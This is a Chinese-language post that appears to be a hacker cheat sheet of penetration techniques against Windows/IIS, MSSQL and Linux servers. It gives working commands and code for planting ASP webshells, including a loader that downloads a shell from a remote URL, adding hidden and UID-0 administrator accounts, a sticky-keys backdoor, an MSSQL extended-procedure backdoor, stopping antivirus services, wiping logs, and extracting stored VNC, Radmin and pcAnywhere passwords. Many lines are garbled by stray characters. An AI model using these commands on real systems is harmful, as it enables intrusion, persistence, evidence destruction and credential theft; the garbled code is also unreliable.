渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
1 q* b1 R4 x9 V$ i7 mOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
2 Y4 Q% D9 L4 f( _3 k0 n
& m/ P( ]( L3 a4 Z9 `: cUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
/ P+ D5 z- ~8 k5 q  C1 ?End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
9 ?! S8 L1 ?* |8 g4 ^, E* i        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

, s- \+ T! `/ g# f- }5 c4 A% k       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
1 `, g) s9 \; n' k                If Err
) ?6 k. g1 L5 Z+ @# B0 f/ C
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

4 [. ]2 S) P9 B7 YOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
$ \" `/ d. u# s1 L+ [7 U0 \     
) E* U. q) d# H2 {, r' y5 k
: w% Q/ `( Z8 h% s. X0 ^/ b                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
8 O6 P4 D- Q; U3 x  ~
- }1 p  S( C! g( \, x1 n7 RWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
4 G4 B" p  w" {# A6 Z                Next
      

% Y3 U, o. l/ X$ Q( _. X         WScript.Echo "ath            : " & VDirObj.Path
        End If
8 }5 Q/ Z4 w& K( L. b  nNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
* f9 n; t' u' s& P——————————————————————
! `3 h) b5 ^! n# DphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
, s$ r# x# Y  E" v( e( R, AphpMyAdmin/darkblue_orange/layout.inc.php
( M( \6 ]6 c! ]) o0 I6 BphpMyAdmin/index.php?lang[]=1
0 p: n" P" Y) v" O% jphpmyadmin/themes/darkblue_orange/layout.inc.php
% h' i, B7 i' H* j; d————————————————————
网站可能目录(注：一般是虚拟主机类）
  l6 l! F% e5 S# ^data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
- i0 X6 ~) {- y! V2 tnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
6 U: _$ s7 Q" O- }) Hnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
5 K# m* x3 }( ~# ?0 r. y% L+ G————————————————————
0 x! B6 a0 S9 ?命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
' l6 O7 V0 {$ Z$ F; e% F1 sexec master.dbo.sp_addlogin test,123
* d0 }: d) a5 w) A& yEXEC sp_addsrvrolemember 'test, 'sysadmin'
7 B8 V' N! J( Z5 g然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

7 f; H: e9 E# |5 Q# Y另类的加用户方法
. j' G( |5 M3 U. d' e# R在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
" g; l# H7 v, T2 ]: c2 `z.changePassword("123456","")
  O# h! u8 X$ g4 g3 n9 Q, u6 s/ Gz.setting("AccountType")=3;
! g7 D3 D: F# J: _
vbs:
) A! U0 k) A( Y- b$ N- p  ~, k2 w' B* ySet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
2 T( b- p% l& Sz.changePassword "123456",""
! g( m# j0 a8 Fz.setting("AccountType")=3
# \! v8 x: h6 @. D' J0 @4 `% I——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
3 J1 X( p1 t* h+ @2 }
' Z" F1 Y1 B5 H3 u1 A7 x命令如下
( Q/ p. N! }$ Ycacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
1 ^7 H2 X( a- R' g" q. C3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
6 w0 K5 x2 `5 W1 p0 Z( u9 f: E! Ib、内网环境（LCX）
, r1 [: v( l' bc、终端服务器超出了最大允许连接
+ S" C5 S4 r5 r8 C  G- _' o1 s0 _XP 运行mstsc /admin
/ L4 z: e4 x) q* W( \% J2003 运行mstsc /console   
( g3 j1 s) _. d- o" Q/ P) V
杀软关闭（把杀软所在的文件的所有权限去掉）
3 A: L, J, G5 }1 Y' A& L$ G处理变态诺顿企业版：
! x% K( w- {4 J8 l& mnet stop "Symantec AntiVirus" /y
! x/ F* T" N5 n# L) D8 }net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
* {0 U) D( f7 s: n; F# ?  B. e% _! f
2 ~3 h* a; p5 B, ^) I$ E5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
% W' ~: Q, M# o4 Q1 B' ]  D! a* |1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
' x, S  ]* D+ U" L2、导出注册表SAM下用户的两个键值
1 m- ]3 m$ }2 [2 `8 X4 E3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
# U1 P% d8 d* V9 \- D' w6 m, X——————————————————————
) X, i5 D3 \3 lMSSQL扩展后门：
' x, f# J2 f, r% h9 rUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
# A- n- ^( j' r1 k: qC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
6 k$ B) z* T6 e4 d不成功，“原文件...正在使用”
, u% @: y, j! n) `. q7 ^当然可以直接删除ex011120.log / ex011121.log
7 @$ L' b! p/ T2 }$ R* `/ \用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

! M* p- ?% E: u% J4 j/ h/ _MSSQL查询分析器连接记录清除：
5 S- o9 `$ s; q& J& I8 EMSSQL 2000位于注册表如下：
9 B6 |+ N  c  @2 r% Y  D9 K1 x; GHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
7 B0 M2 x! v7 H3 k
( U/ w$ h$ [( B5 mServer\90\Tools\Shell\mru.dat
—————————————————————————
# {( h5 [9 {6 T2 E) ^5 N$ S! N9 f防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
' o  a3 j9 N& [9 v5 L
& g% [' n4 t* n( v; C' v2 E<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
6 N" ~" @: [' Y$ o  JDim Ads, Retrieval, GetRemoteData
On Error Resume Next
/ Y% _8 f; l1 _: d" P' I+ R# dSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
. V3 I0 Q8 n1 i.Open "Get", s_RemoteFileUrl, False, "", ""
- @" [* h! n! K4 q8 o.Send
GetRemoteData = .ResponseBody
: }' q7 J+ @7 b1 |2 w/ p$ lEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
4 j7 D/ G9 u/ u5 f0 yWith Ads
.Type = 1
% E0 s" ~: Q1 S; j( `0 K.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads=nothing
( u% P6 h5 S) `# }, D$ S4 L7 DEnd Sub
! S+ L& O  K" s0 q! q1 R; D) R4 H
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

7 O. e6 i! u1 q& t6 NVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
/ k* w+ o+ i- Q( A3 G; U5 o7 |# ~注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
& \5 Y/ n4 n2 j8 Pregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
+ q. J) k7 \" m8 `! oHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
6 v2 C1 A7 v0 BHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
+ p9 Q' r* |2 n( f; F然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
7 `; `# D7 i) y搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
% ?* w! Q4 L! |5 H( A( n# B. W——————————————————----------
5 s% @' l. l( |& e9 p/ @WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
5 ]$ E# Y( c% X* \3 Q5 I( x' ?+ \来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
+ ^1 K. D% x* d6 _% i没有删cmd组建的直接加用户。
; X! p- \) d: Q! l6 J! {/ t8 d* z7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
  l, h) i7 n3 i0 ]) n9 ^" J6 z. O8 @<%
  j% _3 w9 b' ]! L: m# E" NstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
7 x3 c; ?+ p, r& F) Y$ y- DstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
- ?. E, v9 N) t  \4 R7 N( VSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
7 d& K, m1 y0 p6 {/ ]
/ ?  o" |3 S: x# `( \* {3 @";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
2 P1 B% P% z5 i4 N0 ^复制代码
* W: `" ^3 B. x* U. z, n******liunx 相关******
) g, E1 W: M+ l1 S一.ldap渗透技巧
: L. w7 i! q+ K0 T  {1.cat /etc/nsswitch
+ @. z6 i$ k" \* N0 Z: o看看密码登录策略我们可以看到使用了file ldap模式
" X7 F9 e- ~- J" ?
" M) [$ Y8 o' w2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
6 I, k* }" n+ o" m% H- h找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: @) @" ~8 Y, [. C0 Z8 W9 O) p
4 H1 }; E/ {* C; T' D. w5 f8 [5 s"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- W, ^( G( b: |' G9 \4 |有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* o( a% \3 e6 h/ b2 b* z) Q$ S
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 k  Z% \9 z! I$ I0 z

4.查找10条用户记录
/ J" R6 m* b$ e3 ~+ `8 cldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

% p! L  |% h7 w% j实战:
6 c4 o& x6 c" N! i1.cat /etc/nsswitch
/ v. T! P6 ]2 g. J* y& E+ X看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
$ ]: P. E* ^7 s0 Q" ?  q2 F. Pbase ou=People,dc=unix-center,dc=net
$ X* g7 _6 {- d& {# v找到ou,dc,dc设置

3.查找管理员信息
9 \* b( ~" G3 G: ^匿名方式
* w8 W$ k- P0 |; n5 P* [" wldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

9 D' ]( ~1 w; o"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 `, g; S) L2 c9 C7 Q有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 S5 U; d; c# o6 n! @+ \
1 E( c. X! t" P) I3 r3 r
. q$ x) V% [" J$ q9 q6 o4.查找10条用户记录
) c5 j7 d; X- _- Q" b* qldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 s; U1 C9 g7 L# u% O8 y, b" F
' x& |5 r* z5 {, [5 \渗透实战:
1.返回所有的属性
. B1 E" R3 b/ z, |ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
. W' }, t6 I) G0 ?3 G
) l; ?* b4 r! @4 E) ]dn: uid=manager,dc=ruc,dc=edu,dc=cn
- A: T! }9 I, W% W& i! B. s$ K$ euid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
" v7 Q, Z# T3 S6 x5 f& xsn: manager
: J6 T9 F- c3 Q$ O* t$ Mcn: manager
# \4 u5 j3 j/ R# _+ k
2 N, F7 f; _5 Y- B* D% Ddn: uid=superadmin,dc=ruc,dc=edu,dc=cn
# l: G" v+ v: @uid: superadmin
9 K9 `. n' B9 f0 F2 R+ E; E! {objectClass: inetOrgPerson
: g. Z8 a1 D/ z% mobjectClass: organizationalPerson
objectClass: person
objectClass: top
' ]1 z, K; p1 xsn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
' o1 S3 d- W- b  G" Z' Kuid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
8 r; N2 _/ h1 r# M# EobjectClass: top
2 x  {1 p* W  U! D' psn: admin
; I, r0 i, o6 p' Gcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
6 C) N# A/ f4 L2 {uid: dcp_anonymous
objectClass: top
3 L! n7 v2 q- a# Q) c% R+ LobjectClass: person
objectClass: organizationalPerson
3 ]! ]4 |% v% N2 z. qobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
9 J; ]) Q2 s$ c, Q# p1 @0 Gbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
3 z( v- s* ~6 c
  L. Q2 ?4 f* u  I( u: g! pmore
% U2 h" v' r' @! l1 Lversion: 1
3 ?" b9 }- B( ^dn: dc=ruc,dc=edu,dc=cn
4 q& I) ^+ E0 P6 P9 l4 n3 Sdc: ruc
. S- k* X8 |/ W+ X1 XobjectClass: domain
# r3 p1 A' i& o! B3 ]
3 [: h& a/ q& E3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
+ L0 \0 H. X9 T7 c+ @. Vdn:
objectClass: top
4 b  @# @0 ]. d- R, m, @* PnamingContexts: dc=ruc,dc=edu,dc=cn
6 w: }4 h. m; ssupportedExtension: 2.16.840.1.113730.3.5.7
( V, L; D9 W4 v1 l. D9 DsupportedExtension: 2.16.840.1.113730.3.5.8
% W2 n7 W  x; {7 X: L: p* r7 vsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
' j6 W5 y$ O1 |3 i* W# q1 e/ E0 }* c; esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
0 _$ {* H3 F% R. |supportedExtension: 2.16.840.1.113730.3.5.3
+ a- m4 t1 n+ i6 g7 PsupportedExtension: 2.16.840.1.113730.3.5.5
* w7 v( z$ K0 d7 I+ \9 rsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
1 O; O3 f3 n: T* p" M% z+ y* r" IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
& {9 T+ N5 I& E  {! s8 i; S- VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
5 ]) Q* P5 F. t( n/ s+ z# N5 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
% a6 c6 e. @! e& u! @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
) k3 d/ J3 T- T$ `+ rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
" p- N# c- H% L. E5 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
+ {6 D4 p. ~$ U" }; Q. IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
7 R9 ]2 j$ p7 C7 ~7 y( asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
$ n: b, ^  x; NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
3 s  u* i& Y6 b8 k  n0 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
4 @4 y! c) L0 G1 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
/ Y1 ^5 {2 x) _" x) jsupportedControl: 2.16.840.1.113730.3.4.2
- i$ U, b* i1 DsupportedControl: 2.16.840.1.113730.3.4.3
5 c8 P3 T- E( A# E% y( dsupportedControl: 2.16.840.1.113730.3.4.4
1 C2 S" n3 _* i; vsupportedControl: 2.16.840.1.113730.3.4.5
- \, w, |9 ]$ I$ ^( E! ^% WsupportedControl: 1.2.840.113556.1.4.473
* n- w) u" `/ {3 ^8 {- N" \+ asupportedControl: 2.16.840.1.113730.3.4.9
, u( z5 @/ |7 Y. _supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
7 p+ ^6 ?. W" Q& |supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
' r  I2 I: Z' R# o5 HsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
& s- c' ~( W' G/ r9 UsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
( x6 w* L4 I) I: \8 k  e* NsupportedControl: 2.16.840.1.113730.3.4.12
$ H. @8 d5 G# f9 N' X1 zsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
& S0 Q7 B1 S) x5 p6 usupportedSASLMechanisms: EXTERNAL
/ v; N8 J1 F% K$ `% S6 ~supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
% B- O; |9 d$ V. @6 d  R! G9 y3 lvendorName: Sun Microsystems, Inc.
( q: u3 _9 y# n% w3 NvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
6 U9 c2 s# E/ @' g( l9 ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
: t3 x4 C% {3 E7 Y8 X2 E; G/ a- ksupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
) y0 \) G7 y0 KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
4 c4 l$ g" F$ @; |  asupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
: C* o+ K* w1 Q1 t2 J4 z. usupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
- D3 d6 X' b4 N: L1 S4 \supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
" J' B& B% i8 x% A' ^% @: H. ysupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
: L1 J. l. C& i7 b9 n+ v$ @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
, d2 `: L0 a$ B8 a! W+ H7 }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. Y4 s( c  u3 U7 ]6 E, c' _supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
9 Y, \8 M5 b( o- BsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
/ E" e1 M( j9 C" ^  x4 EsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
, S! e: P1 D; p# c! |$ R8 LsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
" g1 e  o, U& G7 ^2 vsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
' q$ R4 {7 ]( ]9 @/ U) w; l0 SsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
/ O6 p" J1 r( a$ C* A! I' q# DsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
3 ]6 T: O7 O2 q& ZsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
. r1 G7 t" w- x2 C; D. z5 e3 D$ CsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
( `9 h/ o% Q% {% RsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
" ^6 l/ [/ a/ O2 N  q+ H1 k: ^9 N+ I+ zsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
1 d" \" @5 c  C1 y8 x0 VsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
$ Y. z, L: s+ e1 v% W  X6 @supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
% I" |# O( n2 _; K" o# W0 F: MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
/ i  N4 G6 ]7 O, n' ysupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
. a2 [3 z: F0 d! v# o, zsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
* M9 \8 S7 A! I' _: ]supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
1 E. \0 Q" _$ usupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
7 r! W" c) {. V, JsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
; i5 I! ?7 ^# K! VsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
" ]+ o' z$ l  T6 `4 \showmount -e ip
列举IP
8 n5 S  r: O3 A% W9 _. P! y——————
3.rsync渗透技巧
6 X; W3 I* B! {2 U9 [, S1.查看rsync服务器上的列表
, r5 J! S7 M' b9 @1 p. Jrsync 210.51.X.X::
! \- C1 z+ B* D  N: ^finance
! A0 a! V1 n& C$ jimg_finance
auto
img_auto
/ y1 w, B  W" y) h3 l* @2 B8 j* qhtml_cms
img_cms
; ~; F( B% k1 u1 s9 `* u: r* Kent_cms
! H8 F1 d, {' f. k' v4 Xent_img
ceshi
$ i& Q) Q& q# M+ w+ z, I7 B: _  pres_img
res_img_c2
7 u$ p) j3 @3 n' m! @9 Kchip
chip_c2
ent_icms
, U7 b  C8 M, i1 e6 s( t& Ngames
gamesimg
media
mediaimg
fashion
6 h  s$ u4 Q( @1 j$ U: Yres-fashion
res-fo
taobao-home
res-taobao-home
/ e7 u) K" q* i% d$ f4 K$ ^3 Dhouse
res-house
res-home
res-edu
res-ent
. ~: W( I& _. s! Z5 f" o, Eres-labs
res-news
0 O* W% N6 n/ E) D$ }; ]res-phtv
res-media
( j( K+ {8 P  K; K9 z4 Z9 u( Ahome
' O; _$ [) }; a) medu
8 N6 p4 v; f- A& y3 enews
2 w2 p( L) V3 V, Dres-book
9 M! B5 H( r5 C  |9 I
% L8 `' v( C7 W; [' _4 G1 E- D看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

, v* L4 }7 U0 t/ t2.下载rsync服务器上的配置文件
; b6 c6 I6 N% j# `6 X* trsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
# V  A8 ]! W$ o7 [
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
& X6 G( s) T* S; u5 [  jhttp://app.finance.xxx.com/warn/nothack.txt

; G1 C$ c" x7 V四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
5 ^# _7 p% J+ L: G3 `- G) v* nGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
  G7 n, z* M- U# H
8 |- [* @2 q3 K$ C* a) w六.joomla渗透小技巧
  M0 i8 j) _+ q7 h# E! D确定版本
" W3 ~& P9 ^" V- {$ c3 z$ v4 H$ Yindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

, \& n# L+ D. W1 _' b' ?15&catid=32:languages&Itemid=47
' G3 T1 I0 P- d# R& M1 ^3 _
重新设置密码
; m+ a' o' r2 l: r+ R' [index.php?option=com_user&view=reset&layout=confirm

4 s# q$ A) l5 a' l1 t' S" N" i. e七: Linux添加UID为0的root用户
3 G8 m, d3 a, g' }  p! `% I: Puseradd -o -u 0 nothack

八.freebsd本地提权
2 M7 T" z) [- R) D[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
2 e( g: o3 r; ?* @$ T* vfs.usermount: 1
8 v# a8 x8 t: d* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
